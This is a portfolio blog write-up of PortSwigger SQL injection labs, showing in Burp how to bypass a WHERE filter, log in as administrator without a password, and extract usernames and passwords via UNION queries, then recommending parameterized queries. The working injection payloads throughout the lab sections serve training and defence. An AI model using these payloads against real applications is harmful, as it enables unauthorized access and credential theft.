~/portfolio / blog / sqli-labs

Walking through PortSwigger's SQLi labs: from boolean to union-based.

Five Web Security Academy labs broken down step-by-step in Burp — what each injection point actually looks like, where the payload comes from, and the one defensive control that would have stopped every one of them.

Lab environment & Burp setup

PortSwigger's Web Security Academy gives you disposable lab instances — a real application running with a real vulnerability, not a VM you set up yourself. Each lab has a defined goal: extract a specific piece of data, bypass a login, escalate a privilege. The objective is on the page before you start.

The setup is minimal: Burp Suite Community, Chromium through Burp's embedded browser (or your own with the proxy set to 127.0.0.1:8080), and Burp's intercept on. The embedded browser skips the certificate dance, which saves five minutes every session.

// burp proxy setup
ProxyOptions → Listeners → 127.0.0.1:8080 # or use the Burp embedded Chromium directly Intercept: ON — every request paused before it leaves

Lab 1 — Retrieve hidden data (WHERE clause bypass)

The first lab is a shopping site with a category filter. The URL looks like this:

// request
GET /filter?category=Gifts HTTP/1.1 # the category value goes directly into a SQL WHERE clause

Appending a single quote (') to the value causes a 500. That's the injection point confirmed. The application's query is roughly SELECT * FROM products WHERE category = 'Gifts' AND released = 1. The released = 1 condition hides unreleased products.

The payload to expose them all:

// payload
GET /filter?category=Gifts'+OR+1=1-- # the -- comments out AND released=1 # OR 1=1 makes every row match → all products returned, including unreleased
Why it works: The injected OR 1=1 evaluates true for every row. The comment sequence (-- or # in MySQL) discards the rest of the developer's WHERE clause. The database never saw a string boundary — it saw SQL.

Lab 2 — Subvert application logic (login bypass)

The login form accepts a username and password. The backend query is likely SELECT * FROM users WHERE username='...' AND password='...'. If any row is returned, the login succeeds.

To log in as administrator without the password:

// login payload
username: administrator'-- password: anything # query becomes: SELECT * FROM users WHERE username='administrator'--' AND password='...' # the AND password check is commented out entirely

The database finds the administrator row, returns it, and the application grants access. No password required.

Labs 3–4 — UNION-based data extraction

UNION injection lets you append a second SELECT to the original query and get its output in the response. Before you can do that you need to know two things: how many columns the original query returns, and which columns render text.

Step 1: enumerate columns

// ORDER BY method
?category=Gifts' ORDER BY 1-- # no error ?category=Gifts' ORDER BY 2-- # no error ?category=Gifts' ORDER BY 3-- # 500 → 2 columns

Step 2: find text-renderable columns

// NULL probe
?category=Gifts'+UNION+SELECT+'a',NULL-- # if 'a' appears in the response → column 1 is string-compatible

Step 3: extract data

// extract users table
?category=Gifts'+UNION+SELECT+username,password+FROM+users-- → administrator | s3cr3t_p4ss → wiener | peter

The one fix that stops all of them

Parameterized queries (prepared statements). Every lab above works because the application concatenates user input directly into a SQL string. A parameterized query separates the SQL structure from the data — the database never parses user input as SQL, because it was already compiled before the value was substituted in.

// vulnerable vs. safe (Python / psycopg2)
# ❌ vulnerable query = "SELECT * FROM users WHERE username='" + username + "'"
# ✅ safe query = "SELECT * FROM users WHERE username = %s" cursor.execute(query, (username,))
Key takeaway: Input validation and WAF rules are second-line defences. Parameterized queries are the only first-line defence that addresses the root cause. Every other mitigation is a way of making exploitation harder, not impossible.

What the labs actually teach

  • A 500 response is a signal — it means the application processed your input as SQL and failed. That's an injection point.
  • Comments are essential-- lets you discard the developer's trailing SQL so your payload doesn't break the syntax.
  • UNION attacks require matching column count and type — enumerate first, then extract.
  • Boolean conditions are predictable1=1 is always true, 1=2 is always false. Use the difference in response to infer data.
  • The fix is architectural — no amount of regex filtering catches all possible SQLi variants. Parameterize the query.
← back to blog next: tuning wazuh →